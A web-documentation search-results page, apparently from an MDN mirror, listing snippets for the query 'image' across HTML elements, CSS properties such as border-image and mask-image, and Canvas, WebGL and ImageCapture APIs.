Search completed in 1.94 seconds.
1698 results for "image":
Your results are loading. Please wait...
ImageBitmapRenderingContext.transferFromImageBitmap() - Web APIs
the imagebitmaprenderingcontext.transferfromimagebitmap() method displays the given imagebitmap in the canvas associated with this rendering context.
... the ownership of the imagebitmap is transferred to the canvas as well.
... this method was previously named transferimagebitmap(), but was renamed in a spec change.
...And 2 more matches
<image>: The obsolete Image element - HTML: Hypertext Markup Language
WebHTMLElementimage
the obsolete html image element (<image>) is an obsolete remnant of an ancient version of html lost in the mists of time; use the standard <img> element instead.
...in order to display images, use the standard <img> element.
Images in HTML - Learn web development
fortunately, it wasn't too long before the ability to embed images (and other more interesting types of content) inside web pages was added.
... there are other types of multimedia to consider, but it is logical to start with the humble <img> element, used to embed a simple image in a webpage.
... in this article we'll look at how to use it in depth, including the basics, annotating it with captions using <figure>, and detailing how it relates to css background images.
...And 78 more matches
<img>: The Image Embed element - HTML: Hypertext Markup Language
WebHTMLElementimg
the html <img> element embeds an image into the document.
... the above example shows usage of the <img> element: the src attribute is required, and contains the path to the image you want to embed.
... the alt attribute holds a text description of the image, which isn't mandatory but is incredibly useful for accessibility — screen readers read this description out to their users so they know what the image means.
...And 77 more matches
Responsive images - Learn web development
previous overview: multimedia and embedding next in this article, we'll learn about the concept of responsive images — images that work well on devices with widely differing screen sizes, resolutions, and other such features — and look at what tools html provides to help implement them.
...responsive images are just one part of responsive design, a future css topic for you to learn.
... prerequisites: you should already know the basics of html and how to add static images to a web page.
...And 67 more matches
Using images - Web APIs
one of the more exciting features of <canvas> is the ability to use images.
...external images can be used in any format supported by the browser, such as png, gif, or jpeg.
... you can even use the image produced by other canvas elements on the same page as the source!
...And 63 more matches
Image file type and format guide - Web media technologies
in this guide, we'll cover the image file types generally supported by web browsers, and provide insights that will help you select the most appropriate formats to use for your site's imagery.
... common image file types there are many image file formats in the world.
... abbreviation file format mime type file extension(s) browser compatibility apng animated portable network graphics image/apng .apng chrome, edge, firefox, opera, safari bmp bitmap file image/bmp .bmp chrome, edge, firefox, internet explorer, opera, safari gif graphics interchange format image/gif .gif chrome, edge, firefox, internet explorer, opera, safari ico microsoft icon image/x-icon .ico, .cur chrome, edge, firefox, internet explorer, opera, safari jpeg joint p...
...And 59 more matches
HTMLImageElement - Web APIs
the htmlimageelement interface represents an html <img> element, providing the properties and methods used to manipulate image elements.
...aco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">htmlelement</text></a><polyline points="491,25 501,20 501,30 491,25" stroke="#d4dde4" fill="none"/><line x1="501" y1="25" x2="509" y2="25" stroke="#d4dde4"/><line x1="509" y1="25" x2="509" y2="90" stroke="#d4dde4"/><line x1="509" y1="90" x2="492" y2="90" stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmlimageelement" target="_top"><rect x="331" y="65" width="160" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="411" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">htmlimageelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} constructor image()...
... the image() constructor creates and returns a new htmlimageelement object representing an html <img> element which is not attached to any dom tree.
...And 49 more matches
Images, Tables, and Mysterious Gaps - Archive of obsolete content
almost no matter when you started creating web pages, odds are pretty high you have one or more designs based on the classic "convoluted tables and lots of images" paradigm.
...back in the early days, this approach worked, because browsers would usually make a table cell exactly as wide and tall as an image it contained.
...thanks to an obscure corner of the css specification, every design based on a precise layout of small images in table cells have become visual disasters just waiting to happen.
...And 38 more matches
image() - CSS: Cascading Style Sheets
the image() css function defines an <image> in a similar fashion to the <url> function, but with added functionality including specifying the image's directionality, specifying fallback images for when the preferred image is not supported, displaying just a part of that image defined by a media fragment, and specifying a solid color as a fallback in case none of the specified images are able to be rendered.
... disambiguation: image(), the htmlimageelement constructor.
... syntax image( <image-tags>?
...And 35 more matches
Multimedia: Images - Learn web development
previous overview: performance next media, namely images and video, account for over 70% of the bytes downloaded for the average website.
...this article looks at optimizing image and video to improve web performance.
... objective: to learn about the various image formats, their impact on performance, and how to reduce the impact of images on overall page load time.
...And 34 more matches
<input type="image"> - HTML: Hypertext Markup Language
WebHTMLElementinputimage
<input> elements of type image are used to create graphical submit buttons, i.e.
... submit buttons that take the form of an image rather than text.
... value <input type="image"> elements do not accept value attributes.
...And 34 more matches
Border-image generator - CSS: Cascading Style Sheets
this tool can be used to generate css3 border-image values.
... border image generator html content <div id="container"> <div id="gallery"> <div id="image-gallery"> <img class="image" src="https://udn.realityripple.com/samples/2c/fa0192d18e.png" data-stateid="border1"/> <img class="image" src="https://udn.realityripple.com/samples/b8/dacdd63e77.png" data-stateid="border2"/> <img class="image" src="https://udn.realityripple.com/samples/07/1fcc357205.png" data-stateid="border3"/> <img class="image" src="https://udn.realityripple.com/samples/7b/dd37c1d691.png" data-stateid="border4"/> <img class="image" src="https://udn.realityripple.com/samples/a9/b9fff72dab.png" data-stateid="border5"/> <img class="image" src="https://udn.realityrippl...
...e.com/samples/fb/c0b285d3da.svg" data-stateid="border6"/> </div> </div> <div id="load-actions" class="group section"> <div id="toggle-gallery" data-action="hide"> </div> <div id="load-image" class="button"> upload image </div> <input id="remote-url" type="text" placeholder="load an image from url"/> <div id="load-remote" class="button"> </div> </div> <div id="general-controls" class="group section"> <div class="name"> control box </div> <div class="separator"></div> <div class="property"> <div class="name">scale</div> <div class="ui-input-slider" data-topic="scale" data-unit="%" data-max="300" data-sensivity="10"> ...
...And 29 more matches
HTMLImageElement.srcset - Web APIs
the htmlimageelement property srcset is a string which identifies one or more image candidate strings, separated using commas (,) each specifying image resources to use under given circumstances.
... each image candidate string contains an image url and an optional width or pixel density descriptor that indicates the conditions under which that candidate should be used instead of the image specified by the src property.
... the srcset property, along with the sizes property, are a crucial component in designing responsive web sites, as they can be used together to make pages that use appropriate images for the rendering situation.
...And 25 more matches
border-image - CSS: Cascading Style Sheets
the border-image css property draws an image around a given element.
... note: you should specify a separate border-style in case the border image fails to load.
... constituent properties this property is a shorthand for the following css properties: border-image-outset border-image-repeat border-image-slice border-image-source border-image-width syntax /* source | slice */ border-image: linear-gradient(red, blue) 27; /* source | slice | repeat */ border-image: url("/images/border.png") 27 space; /* source | slice | width */ border-image: linear-gradient(red, blue) 27 / 35px; /* source | slice | width | outset | repeat */ border-image: url("/images/border.png") 27 23 / 50px 30px / 1rem round space; the border-image property may be specified with anywhere from one to five of the values listed below.
...And 24 more matches
Add a hitmap on top of an image - Learn web development
here we go over how to set up an image map, and some downsides to consider first.
... prerequisites: you should already know how to create a basic html document and how to add accessible images to a webpage.
... objective: learn how to make different regions of one image link to different pages.
...And 23 more matches
CanvasRenderingContext2D.drawImage() - Web APIs
the canvasrenderingcontext2d.drawimage() method of the canvas 2d api provides different ways to draw an image onto the canvas.
... syntax void ctx.drawimage(image, dx, dy); void ctx.drawimage(image, dx, dy, dwidth, dheight); void ctx.drawimage(image, sx, sy, swidth, sheight, dx, dy, dwidth, dheight); parameters image an element to draw into the context.
... the specification permits any canvas image source (canvasimagesource), specifically, a cssimagevalue, an htmlimageelement, an svgimageelement, an htmlvideoelement, an htmlcanvaselement, an imagebitmap, or an offscreencanvas.
...And 21 more matches
background-image - CSS: Cascading Style Sheets
the background-image css property sets one or more background images on an element.
... the background images are drawn on stacking context layers on top of each other.
...how the images are drawn relative to the box and its borders is defined by the background-clip and background-origin css properties.
...And 21 more matches
HTMLImageElement.alt - Web APIs
the htmlimageelement property alt provides fallback (alternate) text to display when the image specified by the <img> element is not loaded.
... this may be the case because of an error, because the user has disabled the loading of images, or because the image simply hasn't finished loading yet.
... think of it like this: when choosing alt strings for your images, imagine what you would say when reading the page to someone over the phone without mentioning that there's an image on the page.
...And 20 more matches
<image> - CSS: Cascading Style Sheets
WebCSSimage
the <image> css data type represents a two-dimensional image.
... syntax the <image> data type can be represented with any of the following: an image denoted by the <url> data type a <gradient> data type a part of the webpage, defined by the element() function an image, image fragment or solid patch of color, defined by the image() function a blending of two or more images defined by the cross-fade() function.
... a selection of images chosed based on resolution defined by the image-set() function.
...And 20 more matches
Allowing cross-origin use of images and canvas - HTML: Hypertext Markup Language
html provides a crossorigin attribute for images that, in combination with an appropriate cors header, allows images defined by the <img> element that are loaded from foreign origins to be used in a <canvas> as if they had been loaded from the current origin.
... security and tainted canvases because the pixels in a canvas's bitmap can come from a variety of sources, including images or videos retrieved from other hosts, it's inevitable that security problems may arise.
...a tainted canvas is one which is no longer considered secure, and any attempts to retrieve image data back from the canvas will cause an exception to be thrown.
...And 20 more matches
Images, media, and form elements - Learn web development
images, other media, and form elements behave a little differently in terms of your ability to style them with css than regular boxes.
... replaced elements images and video are described as replaced elements.
...as we will see however, there are various things that css can do with an image.
...And 18 more matches
Shapes From Images - CSS: Cascading Style Sheets
in this guide we will take a look at how we can create a shape from an image file with an alpha channel or even from a css gradient.
... a simple shape from an image to use an image for the shape the image needs to have an alpha channel, an area that is not fully opaque.
... the shape-image-threshold property is used to set a threshold for this opacity.
...And 18 more matches
DataTransfer.setDragImage() - Web APIs
when a drag occurs, a translucent image is generated from the drag target (the element the dragstart event is fired at), and follows the mouse pointer during the drag.
... this image is created automatically, so you do not need to create it yourself.
... however, if a custom image is desired, the datatransfer.setdragimage() method can be used to set the custom image to be used.
...And 16 more matches
-moz-image-rect - CSS: Cascading Style Sheets
the -moz-image-rect value for css background-image lets you use a portion of a larger image as a background.
... syntax -moz-image-rect(<uri>, top, right, bottom, left); values <url> the uri of the image from which to take the sub-image.
... top the top edge, specified as an <integer> or <percentage>, of the sub-image within the specified image.
...And 16 more matches
border-image-slice - CSS: Cascading Style Sheets
the border-image-slice css property divides the image specified by border-image-source into regions.
... these regions form the components of an element's border image.
...each one is used a single time to form the corners of the final border image.
...And 15 more matches
CanvasRenderingContext2D.putImageData() - Web APIs
the canvasrenderingcontext2d.putimagedata() method of the canvas 2d api paints data from the given imagedata object onto the canvas.
... note: image data can be retrieved from a canvas using the getimagedata() method.
... you can find more information about putimagedata() and general manipulation of canvas contents in the article pixel manipulation with canvas.
...And 13 more matches
WebGLRenderingContext.compressedTexImage[23]D() - Web APIs
the webglrenderingcontext.compressedteximage2d() and webgl2renderingcontext.compressedteximage3d() methods of the webgl api specify a two- or three-dimensional texture image in a compressed format.
... compressed image formats must be enabled by webgl extensions before using these methods.
... syntax // webgl 1: void gl.compressedteximage2d(target, level, internalformat, width, height, border, arraybufferview?
...And 13 more matches
WebGLRenderingContext.texImage2D() - Web APIs
the webglrenderingcontext.teximage2d() method of the webgl api specifies a two-dimensional texture image.
... syntax // webgl1: void gl.teximage2d(target, level, internalformat, width, height, border, format, type, arraybufferview?
... pixels); void gl.teximage2d(target, level, internalformat, format, type, imagedata?
...And 13 more matches
image-rendering - CSS: Cascading Style Sheets
the image-rendering css property sets an image scaling algorithm.
... the property applies to an element itself, to any images set in its other properties, and to its descendants.
... the user agent will scale an image when the page author specifies dimensions other than its natural size.
...And 13 more matches
HTMLImageElement.complete - Web APIs
the read-only htmlimageelement interface's complete attribute is a boolean value which indicates whether or not the image has completely loaded.
... syntax let doneloading = htmlimageelement.complete; value a boolean value which is true if the image has completely loaded; otherwise, the value is false.
... the image is considered completely loaded if any of the following are true: neither the src nor the srcset attribute is specified.
...And 12 more matches
HTMLImageElement.loading - Web APIs
the htmlimageelement property loading is a string whose value provides a hint to the user agent that tells the browser how to handle loading images which are currently outside the window's visual viewport.
... this helps to optimize the loading of the document's contents by postponing loading the image until it's expected to be needed, rather than immediately during the initial page load.
... syntax let imageloadscheduling = htmlimageelement.loading; htmlimageelement.loading = eagerorlazy; value a domstring providing a hint to the user agent as to how to best schedule the loading of the image to optimize page performance.
...And 12 more matches
WebGL2RenderingContext.texSubImage3D() - Web APIs
the webgl2renderingcontext.texsubimage3d() method of the webgl api specifies a sub-rectangle of the current texture.
... syntax void gl.texsubimage3d(target, level, xoffset, yoffset, zoffset, width, height, depth, format, type, arraybufferview?
... srcdata, optional srcoffset); void gl.texsubimage3d(target, level, xoffset, yoffset, zoffset, width, height, depth, format, type, imagebitmap?
...And 12 more matches
image-set() - CSS: Cascading Style Sheets
WebCSSimage-set
the image-set() css function notation is a method of letting the browser pick the most appropriate css image from a given set, primarily for high pixel density screens.
...the image-set() function delivers the most appropriate image resolution for a user’s device, providing a set of image options — each with an associated resolution declaration — from which the browser picks the most appropriate for the device and settings.
... resolution can be used as a proxy for filesize — a user agent on a slow mobile connection with a high-resolution screen may prefer to receive lower-resolution images rather than waiting for a higher resolution image to load.
...And 12 more matches
image - Archive of obsolete content
ArchiveMozillaXULimage
« xul reference home [ examples | attributes | properties | methods | related ] summary an element that displays an image, much like the html img element.
... the src attribute can be used to specify the url of the image.
... note: prior to gecko 8.0, images did not shrink down with the same ratio in both directions when specifying maximum sizes using maxheight or maxwidth.
...And 11 more matches
Image gallery - Learn web development
previous overview: building blocks now that we've looked at the fundamental building blocks of javascript, we'll test your knowledge of loops, functions, conditionals and events by getting you to build a fairly common item you'll see on a lot of websites — a javascript-powered image gallery.
... project brief you have been provided with some html, css and image assets and a few lines of javascript code; you need to write the necessary javascript to turn this into a working program.
... the html body looks like this: <h1>image gallery example</h1> <div class="full-img"> <img class="displayed-img" src="images/pic1.jpg"> <div class="overlay"></div> <button class="dark">darken</button> </div> <div class="thumb-bar"> </div> the example looks like this: the most interesting parts of the example's css file: it absolutely positions the three elements inside the full-img <div> — the <img> in which the full-sized image is displayed, an empty <div> that is sized to be the same size as the <img> and put right over the top of it (this is used to apply a darkening effect to the image via a semi-transparent background color), and a <button> that is used to control the darkening effect.
...And 11 more matches
CanvasRenderingContext2D.getImageData() - Web APIs
the canvasrenderingcontext2d method getimagedata() of the canvas 2d api returns an imagedata object representing the underlying pixel data for a specified portion of the canvas.
...if the specified rectangle extends outside the bounds of the canvas, the pixels outside the canvas are transparent black in the returned imagedata object.
... note: image data can be painted onto a canvas using the putimagedata() method.
...And 11 more matches
HTMLImageElement.sizes - Web APIs
the htmlimageelement property sizes allows you to specify the layout width of the image for each of a list of media conditions.
... this provides the ability to automatically select among different images—even images of different orientations or aspect ratios—as the document state changes to match different media conditions.
... syntax let sizes = htmlimageelement.sizes; htmlimageelement.sizes = sizes; value a usvstring containing a comma-separated list of source size descriptors followed by an optional fallback size.
...And 11 more matches
ImageCapture - Web APIs
the imagecapture interface of the mediastream image capture api provides methods to enable the capture of images or photos from a camera or other photographic device.
... it provides an interface for capturing images from a photographic device referenced through a valid mediastreamtrack.
... constructor imagecapture() creates a new imagecapture object which can be used to capture still frames (photos) from a given mediastreamtrack which represents a video stream.
...And 11 more matches
WebGLRenderingContext.compressedTexSubImage2D() - Web APIs
the webglrenderingcontext.compressedtexsubimage2d() method of the webgl api specifies a two-dimensional sub-rectangle for a texture image in a compressed format.
... compressed image formats must be enabled by webgl extensions before using this method or a webgl2renderingcontext must be used.
... syntax // webgl 1: void gl.compressedtexsubimage2d(target, level, xoffset, yoffset, width, height, format, arraybufferview?
...And 11 more matches
WebGLRenderingContext.texSubImage2D() - Web APIs
the webglrenderingcontext.texsubimage2d() method of the webgl api specifies a sub-rectangle of the current texture.
... syntax // webgl 1: void gl.texsubimage2d(target, level, xoffset, yoffset, width, height, format, type, arraybufferview?
... pixels); void gl.texsubimage2d(target, level, xoffset, yoffset, format, type, imagedata?
...And 11 more matches
image-orientation - CSS: Cascading Style Sheets
the image-orientation css property specifies a layout-independent correction to the orientation of an image.
...its functionality may be moved into properties on the <img> and/or <picture> elements, with the possible exception of from-image.
... /* keyword values */ image-orientation: none; image-orientation: from-image; /* use exif data from the image */ /* global values */ image-orientation: inherit; image-orientation: initial; image-orientation: unset; /* obsolete values.
...And 11 more matches
<image> - SVG: Scalable Vector Graphics
WebSVGElementimage
the <image> svg element includes images inside svg documents.
... it can display raster image files or other svg files.
... the only image formats svg software must support are jpeg, png, and other svg files.
...And 11 more matches
HTMLImageElement.align - Web APIs
the obsolete align property of the htmlimageelement interface is a string which indicates how to position the image relative to its container.
... you should instead use the css propertiy vertical-align, which does in fact also work on images despite its name.
... you can also use the float property to float the image to the left or right margin.
...And 10 more matches
SVGImageElement - Web APIs
the svgimageelement interface corresponds to the <image> element.
...="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="391" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svggraphicselement</text></a><polyline points="301,89 291,84 291,94 301,89" stroke="#d4dde4" fill="none"/><line x1="291" y1="89" x2="261" y2="89" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svgimageelement" target="_top"><rect x="111" y="65" width="150" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="186" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgimageelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties this interf...
... svgimageelement.crossorigin a domstring corresponding to the crossorigin attribute of the given <image> element.
...And 10 more matches
self.createImageBitmap() - Web APIs
the createimagebitmap() method creates a bitmap from a given source, optionally cropped to contain only a portion of that source.
...it accepts a variety of different image sources, and returns a promise which resolves to an imagebitmap.
... syntax const imagebitmappromise = createimagebitmap(image[, options]); const imagebitmappromise = createimagebitmap(image, sx, sy, sw, sh[, options]); parameters image an image source, which can be an <img>, svg <image>, <video>, <canvas>, htmlimageelement, svgimageelement, htmlvideoelement, htmlcanvaselement, blob, imagedata, imagebitmap, or offscreencanvas object.
...And 10 more matches
-webkit-mask-box-image - CSS: Cascading Style Sheets
-webkit-mask-box-image sets the mask image for an element's border box.
... initial value: none applies to: all elements inherited: no media: visual computed value: as specified syntax -webkit-mask-box-image: <mask-box-image> [<top> <right> <bottom> <left> <x-repeat> <y-repeat>] where: <mask-box-image> <uri> | <gradient> | none <top> <right> <bottom> <left> <length> | <percentage> <x-repeat> <y-repeat> repeat | stretch | round | space values <uri> the location of the image resource to be used as a mask image.
... <gradient> a -webkit-gradient function to be used as a mask image.
...And 10 more matches
IAccessibleImage
other-licenses/ia2/accessibleimage.idlnot scriptable this interface represents images and icons.
... 1.0 66 introduced gecko 1.9 inherits from: iunknown last changed in gecko 1.9 (firefox 3) this interface is used for a representation of images like icons on buttons.
... iaccessibleimage only needs to be implemented in certain situations.
...And 9 more matches
CanvasRenderingContext2D.createImageData() - Web APIs
the canvasrenderingcontext2d.createimagedata() method of the canvas 2d api creates a new, blank imagedata object with the specified dimensions.
... syntax imagedata ctx.createimagedata(width, height); imagedata ctx.createimagedata(imagedata); parameters width the width to give the new imagedata object.
... height the height to give the new imagedata object.
...And 9 more matches
HTMLImageElement.naturalWidth - Web APIs
the htmlimageelement interface's read-only naturalwidth property returns the intrinsic (natural), density-corrected width of the image in css pixels.
... this is the width the image is if drawn with nothing constraining its width; if you neither specify a width for the image nor place the image inside a container that limits or expressly specifies the image width, this is the number of css pixels wide the image will be.
... the corresponding naturalheight method returns the natural height of the image.
...And 9 more matches
HTMLImageElement.x - Web APIs
the read-only htmlimageelement property x indicates the x-coordinate of the <img> element's left border edge relative to the root element's origin.
... the x and y properties are only valid for an image if its display property has the computed value table-column or table-column-group.
... syntax let imagex = htmlimageelement.x; value an integer value indicating the distance in pixels from the left edge of the element's nearest root element and the left edge of the <img> element's border box.
...And 9 more matches
HTMLImageElement.y - Web APIs
the read-only htmlimageelement property y indicates the y-coordinate of the <img> element's top border edge relative to the root element's origin.
... the x and y properties are only valid for an image if its display property has the computed value table-column or table-column-group.
... syntax let imagey = htmlimageelement.y; value an integer value indicating the distance in pixels from the top edge of the element's nearest root element to the top edge of the <img> element's border box.
...And 9 more matches
border-image-source - CSS: Cascading Style Sheets
the border-image-source css property sets the source image used to create an element's border image.
... the border-image-slice property is used to divide the source image into regions, which are then dynamically applied to the final border image.
... syntax /* keyword value */ border-image-source: none; /* <image> values */ border-image-source: url(image.jpg); border-image-source: linear-gradient(to top, red, yellow); /* global values */ border-image-source: inherit; border-image-source: initial; border-image-source: unset; values none no border image is used.
...And 9 more matches
mask-image - CSS: Cascading Style Sheets
the mask-image css property sets the image that is used as mask layer for an element.
... /* keyword value */ mask-image: none; /* <mask-source> value */ mask-image: url(masks.svg#mask1); /* <image> values */ mask-image: linear-gradient(rgba(0, 0, 0, 1.0), transparent); mask-image: image(url(mask.png), skyblue); /* multiple values */ mask-image: image(url(mask.png), skyblue), linear-gradient(rgba(0, 0, 0, 1.0), transparent); /* global values */ mask-image: inherit; mask-image: initial; mask-image: unset; syntax values none this keyword is interpreted as a transparent black image layer.
... <mask-source> a <url> reference to a <mask> or to a css image.
...And 9 more matches
Using images in HTML - Web media technologies
WebMediaimages
the html <img> element lets you embed images into an html document, while the <picture> element enables responsive images.
... in this guide you'll find links to resources that deal with adding images to websites.
... references these articles cover some of the html elements and css properties that are used to control how images are displayed on the web.
...And 9 more matches
HTMLImageElement.decode() - Web APIs
the decode() method of the htmlimageelement interface returns a promise that resolves when the image is decoded and it is safe to append the image to the dom.
... this can be used to initiate loading of the image prior to attaching it to an element in the dom (or adding it to the dom as a new element), so that the image can be rendered immediately upon being added to the dom.
... this, in turn, prevents the rendering of the next frame after adding the image to the dom from causing a delay while the image loads.
...And 8 more matches
HTMLImageElement.height - Web APIs
the height property of the htmlimageelement interface indicates the height at which the image is drawn, in css pixels if the image is being drawn or rendered to any visual medium such as the screen or a printer; otherwise, it's the natural, pixel density corrected height of the image.
... syntax htmlimageelement.height = newheight; let height = htmlimageelement.height; value an integer value indicating the height of the image.
... the terms in which the height is defined depends on whether the image is being rendered to a visual medium or not.
...And 8 more matches
HTMLImageElement.naturalHeight - Web APIs
the htmlimageelement interface's naturalheight property is a read-only value which returns the intrinsic (natural), density-corrected height of the image in css pixels.
... this is the height the image is if drawn with nothing constraining its height; if you don't specify a height for the image, or place the image inside a container that either limits or expressly specifies the image height, it will be rendered this tall.
... syntax let naturalheight = htmlimageelement.naturalheight; value an integer value indicating the intrinsic height, in css pixels, of the image.
...And 8 more matches
HTMLImageElement.width - Web APIs
the width property of the htmlimageelement interface indicates the width at which the image is drawn, in css pixels if the image is being drawn or rendered to any visual medium such as the screen or a printer; otherwise, it's the natural, pixel density corrected width of the image.
... syntax htmlimageelement.width = newwidth; let width = htmlimageelement.width; value an integer value indicating the width of the image.
... the terms in which the width is defined depends on whether the image is being rendered to a visual medium or not.
...And 8 more matches
WebGL2RenderingContext.compressedTexSubImage3D() - Web APIs
the webgl2renderingcontext.compressedtexsubimage3d() method of the webgl api specifies a three-dimensional sub-rectangle for a texture image in a compressed format.
... syntax // read from the buffer bound to gl.pixel_unpack_buffer void gl.compressedtexsubimage3d(target, level, xoffset, yoffset, zoffset, width, height, depth, format, imagesize, offset); void gl.compressedtexsubimage3d(target, level, xoffset, yoffset, zoffset, width, height, depth, format, arraybufferview srcdata, optional srcoffset, optional srclengthoverride); parameters target a glenum specifying the binding point (target) of the active texture.
...level 0 is the base image level and level n is the nth mipmap reduction level.
...And 8 more matches
-moz-image-region - CSS: Cascading Style Sheets
for certain xul elements and pseudo-elements that use an image from the list-style-image property, this property specifies a region of the image that is used in place of the whole image.
... this allows elements to use different pieces of the same image to improve performance.
... /* keyword value */ -moz-image-region: auto; /* <shape> value */ -moz-image-region: rect(0, 8px, 4px, 4px); /* global values */ -moz-image-region: inherit; -moz-image-region: initial; -moz-image-region: unset; the syntax is similar to the clip property.
...And 8 more matches
<source>: The Media or Image Source element - HTML: Hypertext Markup Language
WebHTMLElementsource
it is commonly used to offer the same media content in multiple file formats in order to provide compatibility with a broad range of browsers given their differing support for image file formats and media file formats.
... sizes is a list of source sizes that describes the final rendered width of the image represented by the source.
...this information is used by the browser to determine, before laying the page out, which image defined in srcset to use.
...And 8 more matches
Test your skills: HTML images - Learn web development
this aim of this skill test is to assess whether you've understood our images in html article.
... html images 1 in this task we want you to embed a simple image of some blueberries into the page.
... you need to: add the path to the image to an appropriate attribute to embed it on the page.
...And 7 more matches
ImageData() - Web APIs
the imagedata() constructor returns a newly instantiated imagedata object built from the typed array given and having the specified width and height.
... syntax new imagedata(array, width [, height]); new imagedata(width, height); parameters array optional a uint8clampedarray containing the underlying pixel representation of the image.
... if no such array is given, an image with a transparent black rectangle of the specified width and height will be created.
...And 7 more matches
ImageData - Web APIs
WebAPIImageData
the imagedata interface represents the underlying pixel data of an area of a <canvas> element.
... it is created using the imagedata() constructor or creator methods on the canvasrenderingcontext2d object associated with a canvas: createimagedata() and getimagedata().
... it can also be used to set a part of the canvas by using putimagedata().
...And 7 more matches
MediaStream Image Capture API - Web APIs
the mediastream image capture api is an api for capturing images or videos from a photographic device.
... in addition to capturing data, it also allows you to retrieve information about device capabilities such as image size, red-eye reduction and whether or not there is a flash and what they are currently set to.
... mediastream image capture concepts and usage the process of retrieving an image or video stream happens as described below.
...And 7 more matches
Adding Labels and Images - Archive of obsolete content
« previousnext » this section describes a way to add labels and images to a window.
...images xul has an element to display images within a window.
... this element is appropriately named image.
...And 6 more matches
CanvasRenderingContext2D.imageSmoothingEnabled - Web APIs
the imagesmoothingenabled property of the canvasrenderingcontext2d interface, part of the canvas api, determines whether scaled images are smoothed (true, default) or not (false).
... on getting the imagesmoothingenabled property, the last value it was set to is returned.
...when enlarging images, the default resizing algorithm will blur the pixels.
...And 6 more matches
HTMLImageElement.crossOrigin - Web APIs
the htmlimageelement interface's crossorigin attribute is a string which specifies the cross-origin resource sharing (cors) setting to use when retrieving the image.
... syntax htmlimageelement.crossorigin = crossoriginmode; let crossoriginmode = htmlimageelement.crossorigin; value a domstring of a keyword specifying the cors mode to use when fetching the image resource.
... if you don't specify crossorigin, the image is fetched without cors (the fetch no-cors mode).
...And 6 more matches
HTMLImageElement.currentSrc - Web APIs
the read-only htmlimageelement property currentsrc indicates the url of the image which is currently presented in the <img> element it represents.
... syntax let currentsource = htmlimageelement.currentsrc; value a usvstring indicating the full url of the image currently visible in the <img> element represented by the htmlimageelement.
... this is useful when you provide multiple image options using the sizes and/or htmlimageelement.srcset properties.
...And 6 more matches
Resizing background images with background-size - CSS: Cascading Style Sheets
the background-size css property lets you resize the background image of an element, overriding the default behavior of tiling the image at its full size by specifying the width and/or height of the image.
... by doing so, you can scale the image upward or downward as desired.
... tiling a large image let's consider a large image, a 2982x2808 firefox logo image.
...And 6 more matches
nsIAccessibleImage
accessible/public/nsiaccessibleimage.idlscriptable this interface allows in-process accessibility clients to retrieve information about an image.
... 1.0 66 introduced gecko 1.9 inherits from: nsisupports last changed in gecko 1.9 (firefox 3) method overview void getimageposition(in unsigned long coordtype, out long x, out long y); void getimagesize(out long width, out long height); methods getimageposition() returns the coordinates of the image accessible.
...void getimageposition( in unsigned long coordtype, out long x, out long y ); parameters coordtype specifies coordinates origin (for available constants refer to nsiaccessiblecoordinatetype).
...And 5 more matches
HTMLImageElement.isMap - Web APIs
the htmlimageelement proeprty ismap is a boolean value which indicates that the image is to be used by a server-side image map.
... this may only be used on images located within an <a> element.
... note: for accessibility reasons, you should generally avoid using server-side image maps, as they require the use of a mouse.
...And 5 more matches
HTMLImageElement.src - Web APIs
the htmlimageelement property src, which reflects the html src attribute, specifies the image to display in the <img> element.
... syntax htmlimageelement.src = newsource; let src = htmlimageelement.src; value when providing only a single image, rather than a set of images from which the browser selects the best match for the viewport size and display pixel density, the src attribute is a usvstring specifying the url of the desired image.
... if you use the srcset content attribute to provide multiple image options for different display pixel densities, the url specified by the src attribute is used in one of two ways: as a fallback for browsers that don't support srcset.
...And 5 more matches
ImageCapture.getPhotoSettings() - Web APIs
the getphotosettings() method of the imagecapture interface returns a promise that resolves with a photosettings object containing the current photo configuration settings.
... syntax const settingspromise = imagecapture.getphotosettings() return value a promise that resolves with a photosettings object containing the following properties: filllightmode: the flash setting of the capture device, one of "auto", "off", or "on".
... imageheight: the desired image height as an integer.
...And 5 more matches
WebGL2RenderingContext.copyTexSubImage3D() - Web APIs
the webgl2renderingcontext.copytexsubimage3d() method of the webgl api copies pixels from the current webglframebuffer into an existing 3d texture sub-image.
... syntax void gl.copytexsubimage3d(target, level, xoffset, yoffset, zoffset, x, y, width, height); parameters target a glenum specifying the binding point (target) of the active texture.
...level 0 is the base image level and level n is the nth mipmap reduction level.
...And 5 more matches
WebGL2RenderingContext.texImage3D() - Web APIs
the webglrenderingcontext.teximage3d() method of the webgl api specifies a three-dimensional texture image.
... syntax void gl.teximage3d(target, level, internalformat, width, height, depth, border, format, type, glintptr offset); void gl.teximage3d(target, level, internalformat, width, height, depth, border, format, type, htmlcanvaselement source); void gl.teximage3d(target, level, internalformat, width, height, depth, border, format, type, htmlimageelement source); void gl.teximage3d(target, level, internalformat, width, height, depth, border, format, type, htmlvideoelement source); void gl.teximage3d(target, level, internalformat, width, height, depth, border, format, type, imagebitmap source); void gl.teximage3d(target, level, internalformat, width, height, depth, border, format, type, imagedata source); void gl.teximage3d(target, level, internalformat, width, height, depth, border, format, type,...
...srcdata); void gl.teximage3d(target, level, internalformat, width, height, depth, border, format, type, arraybufferview srcdata, srcoffset); parameters target a glenum specifying the binding point (target) of the active texture.
...And 5 more matches
border-image-outset - CSS: Cascading Style Sheets
the border-image-outset css property sets the distance by which an element's border image is set out from its border box.
... the parts of the border image that are rendered outside the element's border box with border-image-outset do not trigger overflow scrollbars and don't capture mouse events.
